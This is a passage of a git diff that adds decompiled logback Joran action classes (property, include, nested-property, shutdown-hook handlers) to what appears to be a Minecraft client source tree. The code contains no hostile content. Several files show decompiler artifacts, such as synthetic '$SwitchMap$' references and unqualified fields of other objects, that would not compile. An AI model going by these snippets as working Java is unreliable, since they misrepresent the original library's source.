+      String errorMsg = "No 'conversionWord' attribute in <conversionRule>";
+      addError(errorMsg);
+      
+      return;
+    }
+    
+    if (OptionHelper.isEmpty(converterClass)) {
+      inError = true;
+      String errorMsg = "No 'converterClass' attribute in <conversionRule>";
+      ec.addError(errorMsg);
+      
+      return;
+    }
+    try
+    {
+      Map<String, String> ruleRegistry = (Map)context.getObject("PATTERN_RULE_REGISTRY");
+      if (ruleRegistry == null) {
+        ruleRegistry = new HashMap();
+        context.putObject("PATTERN_RULE_REGISTRY", ruleRegistry);
+      }
+      
+      addInfo("registering conversion word " + conversionWord + " with class [" + converterClass + "]");
+      ruleRegistry.put(conversionWord, converterClass);
+    } catch (Exception oops) {
+      inError = true;
+      String errorMsg = "Could not add conversion rule to PatternLayout.";
+      addError(errorMsg);
+    }
+  }
+  
+  public void end(InterpretationContext ec, String n) {}
+  
+  public void finish(InterpretationContext ec) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/DefinePropertyAction.java b/src/minecraft/ch/qos/logback/core/joran/action/DefinePropertyAction.java
new file mode 100644
index 0000000..6a4a6fc
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/DefinePropertyAction.java
@@ -0,0 +1,114 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.spi.PropertyDefiner;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DefinePropertyAction
+  extends Action
+{
+  String scopeStr;
+  ActionUtil.Scope scope;
+  String propertyName;
+  PropertyDefiner definer;
+  boolean inError;
+  
+  public DefinePropertyAction() {}
+  
+  public void begin(InterpretationContext ec, String localName, Attributes attributes)
+    throws ActionException
+  {
+    scopeStr = null;
+    scope = null;
+    propertyName = null;
+    definer = null;
+    inError = false;
+    
+
+    propertyName = attributes.getValue("name");
+    scopeStr = attributes.getValue("scope");
+    
+    scope = ActionUtil.stringToScope(scopeStr);
+    if (OptionHelper.isEmpty(propertyName)) {
+      addError("Missing property name for property definer. Near [" + localName + "] line " + getLineNumber(ec));
+      
+      inError = true;
+      return;
+    }
+    
+
+    String className = attributes.getValue("class");
+    if (OptionHelper.isEmpty(className)) {
+      addError("Missing class name for property definer. Near [" + localName + "] line " + getLineNumber(ec));
+      
+      inError = true;
+      return;
+    }
+    
+    try
+    {
+      addInfo("About to instantiate property definer of type [" + className + "]");
+      
+      definer = ((PropertyDefiner)OptionHelper.instantiateByClassName(className, PropertyDefiner.class, context));
+      
+      definer.setContext(context);
+      if ((definer instanceof LifeCycle)) {
+        ((LifeCycle)definer).start();
+      }
+      ec.pushObject(definer);
+    } catch (Exception oops) {
+      inError = true;
+      addError("Could not create an PropertyDefiner of type [" + className + "].", oops);
+      
+      throw new ActionException(oops);
+    }
+  }
+  
+
+
+
+  public void end(InterpretationContext ec, String name)
+  {
+    if (inError) {
+      return;
+    }
+    
+    Object o = ec.peekObject();
+    
+    if (o != definer) {
+      addWarn("The object at the of the stack is not the property definer for property named [" + propertyName + "] pushed earlier.");
+    }
+    else {
+      addInfo("Popping property definer for property named [" + propertyName + "] from the object stack");
+      
+      ec.popObject();
+      
+
+      String propertyValue = definer.getPropertyValue();
+      if (propertyValue != null) {
+        ActionUtil.setProperty(ec, propertyName, propertyValue, scope);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/IADataForBasicProperty.java b/src/minecraft/ch/qos/logback/core/joran/action/IADataForBasicProperty.java
new file mode 100644
index 0000000..4c30e2c
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/IADataForBasicProperty.java
@@ -0,0 +1,35 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.util.PropertySetter;
+import ch.qos.logback.core.util.AggregationType;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class IADataForBasicProperty
+{
+  final PropertySetter parentBean;
+  final AggregationType aggregationType;
+  final String propertyName;
+  boolean inError;
+  
+  IADataForBasicProperty(PropertySetter parentBean, AggregationType aggregationType, String propertyName)
+  {
+    this.parentBean = parentBean;
+    this.aggregationType = aggregationType;
+    this.propertyName = propertyName;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/IADataForComplexProperty.java b/src/minecraft/ch/qos/logback/core/joran/action/IADataForComplexProperty.java
new file mode 100644
index 0000000..87f27df
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/IADataForComplexProperty.java
@@ -0,0 +1,52 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.util.PropertySetter;
+import ch.qos.logback.core.util.AggregationType;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IADataForComplexProperty
+{
+  final PropertySetter parentBean;
+  final AggregationType aggregationType;
+  final String complexPropertyName;
+  private Object nestedComplexProperty;
+  boolean inError;
+  
+  public IADataForComplexProperty(PropertySetter parentBean, AggregationType aggregationType, String complexPropertyName)
+  {
+    this.parentBean = parentBean;
+    this.aggregationType = aggregationType;
+    this.complexPropertyName = complexPropertyName;
+  }
+  
+  public AggregationType getAggregationType() {
+    return aggregationType;
+  }
+  
+  public Object getNestedComplexProperty() {
+    return nestedComplexProperty;
+  }
+  
+  public String getComplexPropertyName() {
+    return complexPropertyName;
+  }
+  
+  public void setNestedComplexProperty(Object nestedComplexProperty) {
+    this.nestedComplexProperty = nestedComplexProperty;
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/ImplicitAction.java b/src/minecraft/ch/qos/logback/core/joran/action/ImplicitAction.java
new file mode 100644
index 0000000..82d567f
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/ImplicitAction.java
@@ -0,0 +1,13 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.ElementPath;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import org.xml.sax.Attributes;
+
+public abstract class ImplicitAction
+  extends Action
+{
+  public ImplicitAction() {}
+  
+  public abstract boolean isApplicable(ElementPath paramElementPath, Attributes paramAttributes, InterpretationContext paramInterpretationContext);
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/IncludeAction.java b/src/minecraft/ch/qos/logback/core/joran/action/IncludeAction.java
new file mode 100644
index 0000000..30e9e6e
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/IncludeAction.java
@@ -0,0 +1,243 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.event.SaxEvent;
+import ch.qos.logback.core.joran.event.SaxEventRecorder;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.EventPlayer;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.spi.Interpreter;
+import ch.qos.logback.core.joran.spi.JoranException;
+import ch.qos.logback.core.joran.util.ConfigurationWatchListUtil;
+import ch.qos.logback.core.util.Loader;
+import ch.qos.logback.core.util.OptionHelper;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.MalformedURLException;
+import java.net.URI;
+import java.net.URL;
+import java.util.List;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class IncludeAction
+  extends Action
+{
+  private static final String INCLUDED_TAG = "included";
+  private static final String FILE_ATTR = "file";
+  private static final String URL_ATTR = "url";
+  private static final String RESOURCE_ATTR = "resource";
+  private static final String OPTIONAL_ATTR = "optional";
+  private String attributeInUse;
+  private boolean optional;
+  
+  public IncludeAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes)
+    throws ActionException
+  {
+    SaxEventRecorder recorder = new SaxEventRecorder(context);
+    
+    attributeInUse = null;
+    optional = OptionHelper.toBoolean(attributes.getValue("optional"), false);
+    
+    if (!checkAttributes(attributes)) {
+      return;
+    }
+    
+    InputStream in = getInputStream(ec, attributes);
+    try
+    {
+      if (in != null) {
+        parseAndRecord(in, recorder);
+        
+        trimHeadAndTail(recorder);
+        
+
+        ec.getJoranInterpreter().getEventPlayer().addEventsDynamically(saxEventList, 2);
+      }
+    } catch (JoranException e) {
+      addError("Error while parsing  " + attributeInUse, e);
+    } finally {
+      close(in);
+    }
+  }
+  
+  void close(InputStream in)
+  {
+    if (in != null) {
+      try {
+        in.close();
+      }
+      catch (IOException e) {}
+    }
+  }
+  
+  private boolean checkAttributes(Attributes attributes) {
+    String fileAttribute = attributes.getValue("file");
+    String urlAttribute = attributes.getValue("url");
+    String resourceAttribute = attributes.getValue("resource");
+    
+    int count = 0;
+    
+    if (!OptionHelper.isEmpty(fileAttribute)) {
+      count++;
+    }
+    if (!OptionHelper.isEmpty(urlAttribute)) {
+      count++;
+    }
+    if (!OptionHelper.isEmpty(resourceAttribute)) {
+      count++;
+    }
+    
+    if (count == 0) {
+      addError("One of \"path\", \"resource\" or \"url\" attributes must be set.");
+      return false; }
+    if (count > 1) {
+      addError("Only one of \"file\", \"url\" or \"resource\" attributes should be set.");
+      return false; }
+    if (count == 1) {
+      return true;
+    }
+    throw new IllegalStateException("Count value [" + count + "] is not expected");
+  }
+  
+  private InputStream getInputStreamByFilePath(String pathToFile)
+  {
+    try {
+      return new FileInputStream(pathToFile);
+    } catch (IOException ioe) {
+      optionalWarning("File [" + pathToFile + "] does not exist."); }
+    return null;
+  }
+  
+  URL attributeToURL(String urlAttribute)
+  {
+    try {
+      return new URL(urlAttribute);
+    } catch (MalformedURLException mue) {
+      String errMsg = "URL [" + urlAttribute + "] is not well formed.";
+      addError(errMsg, mue); }
+    return null;
+  }
+  
+  private InputStream getInputStreamByUrl(URL url)
+  {
+    return openURL(url);
+  }
+  
+  InputStream openURL(URL url) {
+    try {
+      return url.openStream();
+    } catch (IOException e) {
+      optionalWarning("Failed to open [" + url.toString() + "]"); }
+    return null;
+  }
+  
+  URL resourceAsURL(String resourceAttribute)
+  {
+    URL url = Loader.getResourceBySelfClassLoader(resourceAttribute);
+    if (url == null) {
+      optionalWarning("Could not find resource corresponding to [" + resourceAttribute + "]");
+      return null;
+    }
+    return url;
+  }
+  
+  private void optionalWarning(String msg) {
+    if (!optional) {
+      addWarn(msg);
+    }
+  }
+  
+  URL filePathAsURL(String path) {
+    URI uri = new File(path).toURI();
+    try {
+      return uri.toURL();
+    }
+    catch (MalformedURLException e) {
+      e.printStackTrace(); }
+    return null;
+  }
+  
+  private InputStream getInputStreamByResource(URL url)
+  {
+    return openURL(url);
+  }
+  
+  URL getInputURL(InterpretationContext ec, Attributes attributes) {
+    String fileAttribute = attributes.getValue("file");
+    String urlAttribute = attributes.getValue("url");
+    String resourceAttribute = attributes.getValue("resource");
+    
+    if (!OptionHelper.isEmpty(fileAttribute)) {
+      attributeInUse = ec.subst(fileAttribute);
+      return filePathAsURL(attributeInUse);
+    }
+    
+    if (!OptionHelper.isEmpty(urlAttribute)) {
+      attributeInUse = ec.subst(urlAttribute);
+      return attributeToURL(attributeInUse);
+    }
+    
+    if (!OptionHelper.isEmpty(resourceAttribute)) {
+      attributeInUse = ec.subst(resourceAttribute);
+      return resourceAsURL(attributeInUse);
+    }
+    
+    throw new IllegalStateException("A URL stream should have been returned");
+  }
+  
+  InputStream getInputStream(InterpretationContext ec, Attributes attributes)
+  {
+    URL inputURL = getInputURL(ec, attributes);
+    if (inputURL == null) {
+      return null;
+    }
+    ConfigurationWatchListUtil.addToWatchList(context, inputURL);
+    return openURL(inputURL);
+  }
+  
+
+
+  private void trimHeadAndTail(SaxEventRecorder recorder)
+  {
+    List<SaxEvent> saxEventList = saxEventList;
+    
+    if (saxEventList.size() == 0) {
+      return;
+    }
+    
+    SaxEvent first = (SaxEvent)saxEventList.get(0);
+    if ((first != null) && (qName.equalsIgnoreCase("included"))) {
+      saxEventList.remove(0);
+    }
+    
+    SaxEvent last = (SaxEvent)saxEventList.get(saxEventList.size() - 1);
+    if ((last != null) && (qName.equalsIgnoreCase("included"))) {
+      saxEventList.remove(saxEventList.size() - 1);
+    }
+  }
+  
+  private void parseAndRecord(InputStream inputSource, SaxEventRecorder recorder) throws JoranException
+  {
+    recorder.setContext(context);
+    recorder.recordEvents(inputSource);
+  }
+  
+  public void end(InterpretationContext ec, String name)
+    throws ActionException
+  {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/NOPAction.java b/src/minecraft/ch/qos/logback/core/joran/action/NOPAction.java
new file mode 100644
index 0000000..af288c0
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/NOPAction.java
@@ -0,0 +1,14 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import org.xml.sax.Attributes;
+
+public class NOPAction
+  extends Action
+{
+  public NOPAction() {}
+  
+  public void begin(InterpretationContext ec, String name, Attributes attributes) {}
+  
+  public void end(InterpretationContext ec, String name) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/NestedBasicPropertyIA.java b/src/minecraft/ch/qos/logback/core/joran/action/NestedBasicPropertyIA.java
new file mode 100644
index 0000000..ddae580
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/NestedBasicPropertyIA.java
@@ -0,0 +1,104 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.ElementPath;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.util.PropertySetter;
+import ch.qos.logback.core.util.AggregationType;
+import java.util.Stack;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NestedBasicPropertyIA
+  extends ImplicitAction
+{
+  Stack<IADataForBasicProperty> actionDataStack = new Stack();
+  
+  public NestedBasicPropertyIA() {}
+  
+  public boolean isApplicable(ElementPath elementPath, Attributes attributes, InterpretationContext ec)
+  {
+    String nestedElementTagName = elementPath.peekLast();
+    
+
+    if (ec.isEmpty()) {
+      return false;
+    }
+    
+    Object o = ec.peekObject();
+    PropertySetter parentBean = new PropertySetter(o);
+    parentBean.setContext(context);
+    
+    AggregationType aggregationType = parentBean.computeAggregationType(nestedElementTagName);
+    
+
+    switch (1.$SwitchMap$ch$qos$logback$core$util$AggregationType[aggregationType.ordinal()]) {
+    case 1: 
+    case 2: 
+    case 3: 
+      return false;
+    
+    case 4: 
+    case 5: 
+      IADataForBasicProperty ad = new IADataForBasicProperty(parentBean, aggregationType, nestedElementTagName);
+      
+      actionDataStack.push(ad);
+      
+      return true;
+    }
+    addError("PropertySetter.canContainComponent returned " + aggregationType);
+    return false;
+  }
+  
+
+
+  public void begin(InterpretationContext ec, String localName, Attributes attributes) {}
+  
+
+
+  public void body(InterpretationContext ec, String body)
+  {
+    String finalBody = ec.subst(body);
+    
+    IADataForBasicProperty actionData = (IADataForBasicProperty)actionDataStack.peek();
+    switch (1.$SwitchMap$ch$qos$logback$core$util$AggregationType[aggregationType.ordinal()]) {
+    case 4: 
+      parentBean.setProperty(propertyName, finalBody);
+      break;
+    case 5: 
+      parentBean.addBasicProperty(propertyName, finalBody);
+    }
+    
+  }
+  
+  public void end(InterpretationContext ec, String tagName)
+  {
+    actionDataStack.pop();
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/NestedComplexPropertyIA.java b/src/minecraft/ch/qos/logback/core/joran/action/NestedComplexPropertyIA.java
new file mode 100644
index 0000000..2a8d00b
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/NestedComplexPropertyIA.java
@@ -0,0 +1,188 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.ElementPath;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.spi.NoAutoStartUtil;
+import ch.qos.logback.core.joran.util.PropertySetter;
+import ch.qos.logback.core.spi.ContextAware;
+import ch.qos.logback.core.spi.LifeCycle;
+import ch.qos.logback.core.util.AggregationType;
+import ch.qos.logback.core.util.Loader;
+import ch.qos.logback.core.util.OptionHelper;
+import java.util.Stack;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class NestedComplexPropertyIA
+  extends ImplicitAction
+{
+  Stack<IADataForComplexProperty> actionDataStack = new Stack();
+  
+  public NestedComplexPropertyIA() {}
+  
+  public boolean isApplicable(ElementPath elementPath, Attributes attributes, InterpretationContext ic) {
+    String nestedElementTagName = elementPath.peekLast();
+    
+
+    if (ic.isEmpty()) {
+      return false;
+    }
+    
+    Object o = ic.peekObject();
+    PropertySetter parentBean = new PropertySetter(o);
+    parentBean.setContext(context);
+    
+    AggregationType aggregationType = parentBean.computeAggregationType(nestedElementTagName);
+    
+
+    switch (1.$SwitchMap$ch$qos$logback$core$util$AggregationType[aggregationType.ordinal()]) {
+    case 1: 
+    case 2: 
+    case 3: 
+      return false;
+    
+
+    case 4: 
+    case 5: 
+      IADataForComplexProperty ad = new IADataForComplexProperty(parentBean, aggregationType, nestedElementTagName);
+      
+      actionDataStack.push(ad);
+      
+      return true;
+    }
+    addError("PropertySetter.computeAggregationType returned " + aggregationType);
+    
+    return false;
+  }
+  
+
+
+
+  public void begin(InterpretationContext ec, String localName, Attributes attributes)
+  {
+    IADataForComplexProperty actionData = (IADataForComplexProperty)actionDataStack.peek();
+    
+
+    String className = attributes.getValue("class");
+    
+    className = ec.subst(className);
+    
+    Class<?> componentClass = null;
+    try
+    {
+      if (!OptionHelper.isEmpty(className)) {
+        componentClass = Loader.loadClass(className, context);
+      }
+      else {
+        PropertySetter parentBean = parentBean;
+        componentClass = parentBean.getClassNameViaImplicitRules(actionData.getComplexPropertyName(), actionData.getAggregationType(), ec.getDefaultNestedComponentRegistry());
+      }
+      
+
+
+      if (componentClass == null) {
+        inError = true;
+        String errMsg = "Could not find an appropriate class for property [" + localName + "]";
+        
+        addError(errMsg);
+        return;
+      }
+      
+      if (OptionHelper.isEmpty(className)) {
+        addInfo("Assuming default type [" + componentClass.getName() + "] for [" + localName + "] property");
+      }
+      
+
+      actionData.setNestedComplexProperty(componentClass.newInstance());
+      
+
+      if ((actionData.getNestedComplexProperty() instanceof ContextAware)) {
+        ((ContextAware)actionData.getNestedComplexProperty()).setContext(context);
+      }
+      
+
+
+      ec.pushObject(actionData.getNestedComplexProperty());
+    }
+    catch (Exception oops) {
+      inError = true;
+      String msg = "Could not create component [" + localName + "] of type [" + className + "]";
+      
+      addError(msg, oops);
+    }
+  }
+  
+
+
+
+  public void end(InterpretationContext ec, String tagName)
+  {
+    IADataForComplexProperty actionData = (IADataForComplexProperty)actionDataStack.pop();
+    
+
+    if (inError) {
+      return;
+    }
+    
+    PropertySetter nestedBean = new PropertySetter(actionData.getNestedComplexProperty());
+    
+    nestedBean.setContext(context);
+    
+
+    if (nestedBean.computeAggregationType("parent") == AggregationType.AS_COMPLEX_PROPERTY) {
+      nestedBean.setComplexProperty("parent", parentBean.getObj());
+    }
+    
+
+
+    Object nestedComplexProperty = actionData.getNestedComplexProperty();
+    if (((nestedComplexProperty instanceof LifeCycle)) && (NoAutoStartUtil.notMarkedWithNoAutoStart(nestedComplexProperty)))
+    {
+      ((LifeCycle)nestedComplexProperty).start();
+    }
+    
+    Object o = ec.peekObject();
+    
+    if (o != actionData.getNestedComplexProperty()) {
+      addError("The object on the top the of the stack is not the component pushed earlier.");
+    } else {
+      ec.popObject();
+      
+      switch (1.$SwitchMap$ch$qos$logback$core$util$AggregationType[aggregationType.ordinal()]) {
+      case 5: 
+        parentBean.setComplexProperty(tagName, actionData.getNestedComplexProperty());
+        
+
+        break;
+      case 4: 
+        parentBean.addComplexProperty(tagName, actionData.getNestedComplexProperty());
+      }
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/NewRuleAction.java b/src/minecraft/ch/qos/logback/core/joran/action/NewRuleAction.java
new file mode 100644
index 0000000..6571085
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/NewRuleAction.java
@@ -0,0 +1,66 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.ElementSelector;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.spi.Interpreter;
+import ch.qos.logback.core.joran.spi.RuleStore;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+public class NewRuleAction
+  extends Action
+{
+  boolean inError = false;
+  
+
+  public NewRuleAction() {}
+  
+  public void begin(InterpretationContext ec, String localName, Attributes attributes)
+  {
+    inError = false;
+    
+    String pattern = attributes.getValue("pattern");
+    String actionClass = attributes.getValue("actionClass");
+    
+    if (OptionHelper.isEmpty(pattern)) {
+      inError = true;
+      String errorMsg = "No 'pattern' attribute in <newRule>";
+      addError(errorMsg);
+      return;
+    }
+    
+    if (OptionHelper.isEmpty(actionClass)) {
+      inError = true;
+      String errorMsg = "No 'actionClass' attribute in <newRule>";
+      addError(errorMsg);
+      return;
+    }
+    try
+    {
+      addInfo("About to add new Joran parsing rule [" + pattern + "," + actionClass + "].");
+      
+      ec.getJoranInterpreter().getRuleStore().addRule(new ElementSelector(pattern), actionClass);
+    }
+    catch (Exception oops) {
+      inError = true;
+      String errorMsg = "Could not add new Joran parsing rule [" + pattern + "," + actionClass + "]";
+      
+      addError(errorMsg);
+    }
+  }
+  
+  public void end(InterpretationContext ec, String n) {}
+  
+  public void finish(InterpretationContext ec) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/ParamAction.java b/src/minecraft/ch/qos/logback/core/joran/action/ParamAction.java
new file mode 100644
index 0000000..3a6f312
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/ParamAction.java
@@ -0,0 +1,65 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.joran.util.PropertySetter;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ParamAction
+  extends Action
+{
+  static String NO_NAME = "No name attribute in <param> element";
+  static String NO_VALUE = "No name attribute in <param> element";
+  boolean inError = false;
+  
+  public ParamAction() {}
+  
+  public void begin(InterpretationContext ec, String localName, Attributes attributes) { String name = attributes.getValue("name");
+    String value = attributes.getValue("value");
+    
+    if (name == null) {
+      inError = true;
+      addError(NO_NAME);
+      return;
+    }
+    
+    if (value == null) {
+      inError = true;
+      addError(NO_VALUE);
+      return;
+    }
+    
+
+    value = value.trim();
+    
+    Object o = ec.peekObject();
+    PropertySetter propSetter = new PropertySetter(o);
+    propSetter.setContext(context);
+    value = ec.subst(value);
+    
+
+    name = ec.subst(name);
+    
+
+
+    propSetter.setProperty(name, value);
+  }
+  
+  public void end(InterpretationContext ec, String localName) {}
+  
+  public void finish(InterpretationContext ec) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/PropertyAction.java b/src/minecraft/ch/qos/logback/core/joran/action/PropertyAction.java
new file mode 100644
index 0000000..bed10db
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/PropertyAction.java
@@ -0,0 +1,147 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.pattern.util.RegularEscapeUtil;
+import ch.qos.logback.core.util.Loader;
+import ch.qos.logback.core.util.OptionHelper;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.IOException;
+import java.io.InputStream;
+import java.net.URL;
+import java.util.Properties;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class PropertyAction
+  extends Action
+{
+  static final String RESOURCE_ATTRIBUTE = "resource";
+  static String INVALID_ATTRIBUTES = "In <property> element, either the \"file\" attribute alone, or the \"resource\" element alone, or both the \"name\" and \"value\" attributes must be set.";
+  
+
+
+
+  public PropertyAction() {}
+  
+
+
+
+  public void begin(InterpretationContext ec, String localName, Attributes attributes)
+  {
+    if ("substitutionProperty".equals(localName)) {
+      addWarn("[substitutionProperty] element has been deprecated. Please use the [property] element instead.");
+    }
+    
+    String name = attributes.getValue("name");
+    String value = attributes.getValue("value");
+    String scopeStr = attributes.getValue("scope");
+    
+    ActionUtil.Scope scope = ActionUtil.stringToScope(scopeStr);
+    
+    if (checkFileAttributeSanity(attributes)) {
+      String file = attributes.getValue("file");
+      file = ec.subst(file);
+      try {
+        FileInputStream istream = new FileInputStream(file);
+        loadAndSetProperties(ec, istream, scope);
+      } catch (FileNotFoundException e) {
+        addError("Could not find properties file [" + file + "].");
+      } catch (IOException e1) {
+        addError("Could not read properties file [" + file + "].", e1);
+      }
+    } else if (checkResourceAttributeSanity(attributes)) {
+      String resource = attributes.getValue("resource");
+      resource = ec.subst(resource);
+      URL resourceURL = Loader.getResourceBySelfClassLoader(resource);
+      if (resourceURL == null) {
+        addError("Could not find resource [" + resource + "].");
+      } else {
+        try {
+          InputStream istream = resourceURL.openStream();
+          loadAndSetProperties(ec, istream, scope);
+        } catch (IOException e) {
+          addError("Could not read resource file [" + resource + "].", e);
+        }
+      }
+    } else if (checkValueNameAttributesSanity(attributes)) {
+      value = RegularEscapeUtil.basicEscape(value);
+      
+      value = value.trim();
+      value = ec.subst(value);
+      ActionUtil.setProperty(ec, name, value, scope);
+    }
+    else {
+      addError(INVALID_ATTRIBUTES);
+    }
+  }
+  
+  void loadAndSetProperties(InterpretationContext ec, InputStream istream, ActionUtil.Scope scope) throws IOException
+  {
+    Properties props = new Properties();
+    props.load(istream);
+    istream.close();
+    ActionUtil.setProperties(ec, props, scope);
+  }
+  
+  boolean checkFileAttributeSanity(Attributes attributes) {
+    String file = attributes.getValue("file");
+    String name = attributes.getValue("name");
+    String value = attributes.getValue("value");
+    String resource = attributes.getValue("resource");
+    
+    return (!OptionHelper.isEmpty(file)) && (OptionHelper.isEmpty(name)) && (OptionHelper.isEmpty(value)) && (OptionHelper.isEmpty(resource));
+  }
+  
+
+  boolean checkResourceAttributeSanity(Attributes attributes)
+  {
+    String file = attributes.getValue("file");
+    String name = attributes.getValue("name");
+    String value = attributes.getValue("value");
+    String resource = attributes.getValue("resource");
+    
+    return (!OptionHelper.isEmpty(resource)) && (OptionHelper.isEmpty(name)) && (OptionHelper.isEmpty(value)) && (OptionHelper.isEmpty(file));
+  }
+  
+
+  boolean checkValueNameAttributesSanity(Attributes attributes)
+  {
+    String file = attributes.getValue("file");
+    String name = attributes.getValue("name");
+    String value = attributes.getValue("value");
+    String resource = attributes.getValue("resource");
+    
+    return (!OptionHelper.isEmpty(name)) && (!OptionHelper.isEmpty(value)) && (OptionHelper.isEmpty(file)) && (OptionHelper.isEmpty(resource));
+  }
+  
+  public void end(InterpretationContext ec, String name) {}
+  
+  public void finish(InterpretationContext ec) {}
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/ShutdownHookAction.java b/src/minecraft/ch/qos/logback/core/joran/action/ShutdownHookAction.java
new file mode 100644
index 0000000..ad0fecd
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/ShutdownHookAction.java
@@ -0,0 +1,90 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.hook.ShutdownHookBase;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.util.OptionHelper;
+import org.xml.sax.Attributes;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ShutdownHookAction
+  extends Action
+{
+  ShutdownHookBase hook;
+  private boolean inError;
+  
+  public ShutdownHookAction() {}
+  
+  public void begin(InterpretationContext ic, String name, Attributes attributes)
+    throws ActionException
+  {
+    hook = null;
+    inError = false;
+    
+    String className = attributes.getValue("class");
+    if (OptionHelper.isEmpty(className)) {
+      addError("Missing class name for shutdown hook. Near [" + name + "] line " + getLineNumber(ic));
+      
+      inError = true;
+      return;
+    }
+    try
+    {
+      addInfo("About to instantiate shutdown hook of type [" + className + "]");
+      
+      hook = ((ShutdownHookBase)OptionHelper.instantiateByClassName(className, ShutdownHookBase.class, context));
+      
+      hook.setContext(context);
+      
+      ic.pushObject(hook);
+    } catch (Exception e) {
+      inError = true;
+      addError("Could not create a shutdown hook of type [" + className + "].", e);
+      throw new ActionException(e);
+    }
+  }
+  
+
+
+
+  public void end(InterpretationContext ic, String name)
+    throws ActionException
+  {
+    if (inError) {
+      return;
+    }
+    
+    Object o = ic.peekObject();
+    if (o != hook) {
+      addWarn("The object at the of the stack is not the hook pushed earlier.");
+    } else {
+      ic.popObject();
+      
+      Thread hookThread = new Thread(hook, "Logback shutdown hook [" + context.getName() + "]");
+      
+      context.putObject("SHUTDOWN_HOOK", hookThread);
+      Runtime.getRuntime().addShutdownHook(hookThread);
+    }
+  }
+}
diff --git a/src/minecraft/ch/qos/logback/core/joran/action/StatusListenerAction.java b/src/minecraft/ch/qos/logback/core/joran/action/StatusListenerAction.java
new file mode 100644
index 0000000..5b63676
--- /dev/null
+++ b/src/minecraft/ch/qos/logback/core/joran/action/StatusListenerAction.java
@@ -0,0 +1,77 @@
+package ch.qos.logback.core.joran.action;
+
+import ch.qos.logback.core.Context;
+import ch.qos.logback.core.joran.spi.ActionException;
+import ch.qos.logback.core.joran.spi.InterpretationContext;
+import ch.qos.logback.core.spi.ContextAware;
